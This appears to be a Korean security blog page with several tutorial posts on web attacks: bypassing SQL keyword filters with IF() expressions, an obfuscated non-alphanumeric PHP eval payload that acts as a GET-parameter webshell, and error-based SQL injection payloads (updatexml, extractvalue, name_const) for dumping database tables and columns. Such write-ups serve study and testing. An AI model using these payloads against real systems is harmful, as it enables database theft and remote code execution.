반응형

0. 개요

가끔 난이도 높은 SQL injection 문제에서 where 키워드가 필터링될 경우가 존재한다.

이럴 때 해당 기법을 이용해서 필터를 우회할 수 있다.


일단 다음과 같이 test2 테이블에서 flag가 123123인 id 값을 원한다고 가정하자.

이것에 대한 쿼리를 작성하면 다음과 같다.

select id from test2 where flag=123123;


여기서 where가 필터링되었을 때 다음과 같이 작성하면 비슷한 결과가 출력된다.

(같지 않고 비슷하다는 것은 아래 좀 더 자세히 설명하겠다)

select if(flag=123123,id,null) from test2;


실제 출력 결과를 확인해보자.


출력 결과를 확인해보면 where 절을 이용하였을 때는 정확히 해당 조건에 맞는 row의 id만 출력되는 것을 볼 수 있는 반면, if 구문을 이용한 경우에는 나머지 데이터들이 조건에 맞지 않아 null이 출력됨을 확인할 수 있다.


이러한 이유로 인해 이전에 결과가 동일하지 않고 비슷하다고 한 것이다.


1. 활용

그렇다면 해당 기법을 어떤 식으로 이용해야 할까?


1) 데이터 수 확인

 : 아래 출력 결과를 보면 where 절을 이용한 것과 if 구문을 이용한 것의 count 결과가 동일하게 1건이라고 출력됨을 볼 수 있다.

이를 통해 우리가 원하는 데이터가 몇 개 있는지 알 수 있다.



2) 데이터 추출

 : 실제 데이터는 다음과 같이 MAX와 같은 함수를 이용하여 출력시키거나 limit keyword를 이용하여 원하는 데이터를 찾을 수 있다.




반응형
블로그 이미지

rootable

,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Server-side Vulnerability

2020. 4. 9. 09:46

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Client-side Vulnerability

2020. 4. 2. 14:30

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

반응형

1. 서론

기존에 나는 [ no=3 and id='aa' ]와 같이 and 구문 이전에 특정 행을 지정을 해줘야 해당 행의 id를 가져온다고 알고 있었다.

만약 and 구문이 필터링 되어있을 경우 &&로 우회를 하였는데 이 또한 필터링 되어있을 경우에는 어떻게 원하는 행에 대해 조건 검사를 어떻게 할 수 있을지 고민해보았다.



2. 본론

(1) test 테이블 확인



(2) if 구문 조건식에 3번 행이 가지고 있는 데이터에 일치하는 조건으로 설정

 - 3번 행의 THEMA 컬럼 첫번째 문자열이 V로 시작한다. 이에 따라 예상대로라면 일치하는 데이터가 있기 때문에 true가 되어 TID=1로 세팅되어 1번 행이 출력될거라고 예상이 된다.

 - 하지만 결과는 false가 되어 TID가 2인 행이 출력된다.



(3) 참일 때의 데이터를 해당 조건식에 일치하는 행으로 지정

 - 조건식에 일치하는 행이 3인 경우이므로 참일 때의 데이터에 3을 지정해준다.

 - 그 결과는 참일 때와 거짓일 때의 데이터인 TID가 2인 것과 3인 것이 동시에 출력된다. 


(4) 거짓일 때의 데이터를 존재하지 않는 데이터로 지정

 - 조회 결과가 복수일 경우 웹 서비스에서 제대로 출력이 안될 가능성이 크기 때문에 조회 결과는 한 행만 출력되는 것이 좋다.

이에 따라 거짓일 때의 데이터를 존재하지 않는 값인 0으로 지정해준다.

 - 예상대로 3인 행만이 출력됨을 확인할 수 있다.



3. 결론

위에서 확인한 사항에 대해 생각을 해본 결과 아래와 같은 쿼리와 동일하게 동작한다고 판단이 들었다.

select * from test where TID=[참일 때의 값] and [조건식] or [거짓일 때의 값]


이를 잘 이용한다면 and 구문이나 or 구문이 필터링되었을 때 우회하는 기법으로 이용이 가능할 것이라 생각한다.


※ and 구문 우회 예시

 - [ select * from test where TID=3 and substr(THEMA,1,1)='V' and FID=1 ]과 동일한 구문




반응형

'Hacking > Web' 카테고리의 다른 글

Server-side Vulnerability  (0) 2020.04.09
Client-side Vulnerability  (0) 2020.04.02
Non alphanumeric code in PHP  (0) 2020.03.09
SQL Injection in INSERT, UPDATE and Delete Statements  (0) 2020.03.06
[root-me] NoSQL injection - Blind  (0) 2020.03.05
블로그 이미지

rootable

,
반응형

eval 함수를 사용하는데, 나름 취약점을 방어하겠다고 영문과 숫자를 입력하지 못하도록 하는 경우가 있을 수 있다.

이런 경우 아래와 같이 특수문자들을 이용하여 취약점을 trigger할 수 있다.


해당 방식은 eval이 입력한 문자열을 php 코드로 인식, 실행한다는 것을 이용하여 가변변수 및 bit 연산자를 이용하여 원하는 문자열을 만들어 실행하는 것이다.


자세한 동작방식은 아래 예시를 보며 확인해보자.


Source Code

<?php

        eval('$_="{";$_=($_^"<").($_^">;").($_^"/");${"_".$_}["_"](${"_".$_}["__"]);');

?>


Analysis

(1) $_="{";

 : _라는 변수에 { 문자열을 선언해준다. 해당 문자열을 기준으로 bit 연산을 하여 원하는 문자열을 만들어줄 것이다.


(2) $_=($_^"<").($_^">;").($_^"/");

 : _라는 변수에 ($_^"<").($_^">;").($_^"/") 연산 결과를 넣어준다. 해당 연산은 (1) 문장에서 선언해준 { 문자를 bit 연산해주는 것이다. 해당 결과는 다음과 같이 GET 문자열이 된다.


조금 더 자세히 분석해보자.


첫번째인 $_^"<"에 대해 이해를 하면 나머지들은 동일한 방식으로 이해하면 된다.

먼저 _ 변수에 선언되어있는 것은 { 문자이며, 이것과 문자 < 를 bit 연산하고 있다.

그 결과 다음과 같이 G라는 문자열이 된다.

{ 문자 : 0x7B = 01111011

> 문자 : 0x3C = 00111100


01111011 ^ 00111100 = 01000111 = 0x47 = G


같은 방식으로 (2) 문장의 결과 _ 변수에는 GET이라는 문자열이 저장된다.


(3) ${"_".$_}["_"](${"_".$_}["__"]);

 : (2) 문장의 결과 _ 변수에는 GET이 들어가있으므로 ${"_".$_}["_"] 는 $_GET["_"]과 동일하다.

 마찬가지로 ${"_".$_}["__"]는 $_GET["__"]과 같으므로 해당 문장은 $_GET["_"]($_GET["__"])과 같다.


Exploit



참고 ) https://blog.silnex.kr/php-non-alphanumeric-code/

반응형

'Hacking > Web' 카테고리의 다른 글

Client-side Vulnerability  (0) 2020.04.02
SQL Injection and filter bypass  (0) 2020.04.01
SQL Injection in INSERT, UPDATE and Delete Statements  (0) 2020.03.06
[root-me] NoSQL injection - Blind  (0) 2020.03.05
[root-me] Local File Inclusion - Wrappers  (0) 2020.03.05
블로그 이미지

rootable

,
반응형

보통 기본적으로 SQL Injection이라고 하면 검색, 조회 하는 곳에서 진행을 하게 된다.

이러한 것들은 모두 SELECT 구문에서 진행이 되는 것이다.


하지만, 웹 어플리케이션에는 회원 관리, 게시글 관리 등에서 INSERT, UPDATE, DELETE 구문이 적지 않게 사용된다.

이러한 경우에도 사용자로부터 문자열을 입력받기 때문에 여기서 또한 SQLi가 발생될 수 있다.


이번에 참고한 자료에서 말하는 기법들은 응답에 MySQL의 에러가 노출된다는 가정하에 진행되었다.

참고자료 : https://www.exploit-db.com/docs/33253


1. Updatexml()을 사용한 Injection

※ input payload

' or updatexml(1,concat(0x7e,(version())),0) or '


(1) INSERT 구문


(2) UPDATE 구문


(3) DELETE 구문


1.1 데이터 추출

 : 다음과 같이 중간에 SELECT 구문을 삽입하여 데이터베이스 내 정보를 추출할 수 있다.


- 추출 쿼리

DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or '';


DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='[테이블명]' limit 0,1)),0) or '';


DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(SELECT concat_ws(':',[column1],[column2],[column3]) FROM [테이블명] limit 0,1)),0) or '';


이후부터는 동일한 방식으로 문서가 진행되어 updatexml()와 같이 사용될 수 있는 함수의 리스트와 함께 input으로 넣을 payload를 나열하고 포스팅을 마치겠다.


2. extractvalue()을 이용한 Injection

or extractvalue(1,concat(0x7e,database())) or

 

3. name_const()을 이용한 Injection : MySQL 5.0.12부터 가능

or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or



반응형

'Hacking > Web' 카테고리의 다른 글

SQL Injection and filter bypass  (0) 2020.04.01
Non alphanumeric code in PHP  (0) 2020.03.09
[root-me] NoSQL injection - Blind  (0) 2020.03.05
[root-me] Local File Inclusion - Wrappers  (0) 2020.03.05
LDAP Injection  (0) 2020.03.04
블로그 이미지

rootable

,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.